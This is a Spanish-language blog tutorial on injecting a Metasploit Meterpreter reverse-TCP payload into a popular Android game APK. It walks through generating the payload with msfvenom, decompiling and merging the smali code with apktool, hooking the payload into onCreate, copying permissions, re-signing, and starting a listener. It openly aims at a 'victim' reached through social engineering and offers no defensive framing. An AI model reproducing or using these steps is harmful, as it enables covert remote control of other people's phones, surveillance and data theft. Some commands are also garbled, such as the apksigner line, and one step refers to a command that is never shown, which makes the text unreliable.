Blog

ACTUALIDAD
15 Jun 2020

Inyección de Malware en Aplicación Android

/
Publicado por
/
Comentarios0

Inyección de Malware en Aplicación Android

El primer paso para realizar este pequeño tutorial, es descargar una APK. Lo ideal es que sea una APK de un juego o alguna aplicación que mediante ingeniería social podamos pasar a nuestra víctima. Para este ejemplo, utilizaré una APK del juego “Parchis Star” desde uptodown.com, dada la alta popularidad de este juego últimamente.

En segundo lugar, inyectaremos nuestra APK a través del framework Metasploit, incluido en la Distribución Kali Linux. Para ello utilizaremos el creador de Payloads msfvenom, utilizando el siguiente comando:

msfvenom -p android/meterpreter/reverse_tcp LHOST=NuestraIP LPORT=4444 -o tss.apk

Realizamos la instalación de la aplicación apktool:

apt-get install apktool

Procedemos a desmontar las APKs, tanto la descargada “parchis-star-1-64-2.apk”, como la que acabamos de crear, “tss.apk” a través de la herramienta apktool mediante los siguientes comandos:

apktool d parchis-star-1-64-2.apk

apktool tss.apk

En el siguiente paso, procederemos a copiar el código de la APK creada con msfvenom a la que hemos descargado. Para hacerlo, vamos a modificar el directorio de Metasploit, para posteriormente copiar todos los archivos del directorio “smali” al directorio (Para este ejemplo) “parchis-star-1-64-2”. Para la copia de un directorio completo utilizaremos el comando tar:

cd /root/tss

tar -cf – ./smali | (cd ../parchis-star-1-64-2; tar -xpf – )

Volvemos al directorio raíz con el comando cd .. y accedemos al directorio de la APK descargada y descomprimida.

Para saber que archivo debemos modificar en el siguiente paso, deberemos abrir el archivo AndroidManifest.xml y localizar Android:name=(Esta información variara dependiendo de la APP)

Una vez localizado el archivo.

Lo abrimos para editarlo y buscar el método “onCreate()” y agregamos la siguiente línea bajo la llamada al método, para de este modo poder realizar la invocación de nuestra etapa Meterpreter:

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

Vamos a utilizar grep para localizar las líneas en el archivo AndroidManifest.xml de nuestra APK tss.apk, ya que contiene los strings “uses-permission” y “uses-feature”, para posteriormente copiarlos.

cat AndroidManifest.xml | grep “uses-permission”

Utilizaremos un editor de texto para copiar los permisos de tss.apk a parchis-star-1-64-2.

Hacemos lo mismo con “uses-features” y lo copiamos como hicimos en el paso anterior.

cat AndroidManifest.xml | grep “uses-features”

En este paso pasaremos al ensamblado mediante “apktool” de la APK que descargamos y hemos modificado, en este ejemplo “parchis-star-1-64-2” con el comando siguiente:

apktool b parchis-star-1-64-2

En caso de recibir un error, lanzaremos este otro comando y seguidamente volvemos a lanzar el anterior:

Se nos creara en el directorio que se puede observar en la siguiente captura, yo lo moveré al directorio root:

Vamos a continuar con “keytool” de Java para conseguir generar nuestro propio repositorio de claves autofirmado:

keytool -genkey -v -keystore howto.keystore -alias howto -keyalg RSA -keysize 2048 -validity 10000

Después lo firmamos con “apksigner”, pero para eso primero deberemos instalarlo tal y cómo se muestra:

apt-get install apksigner

apksigner sign –ks keystore.jks | –key key.pk8 –cert cert.x509.pem 1.apk (Nombre de nuestra APK).

Una vez realizados estos dos últimos pasos, ya tendremos lista nuestra APK.

El último paso antes de proceder a enviar nuestra APK será ponernos a la escucha, para que en el momento que sea ejecutada, obtengamos nuestra sesión de Meterpreter.

msfconsole

use exploit/multi/handler

set PAYLOAD android/meterpreter/reverse_tcp

set LHOST «[Nuestra_IP]»

set LPORT «4444»

exploit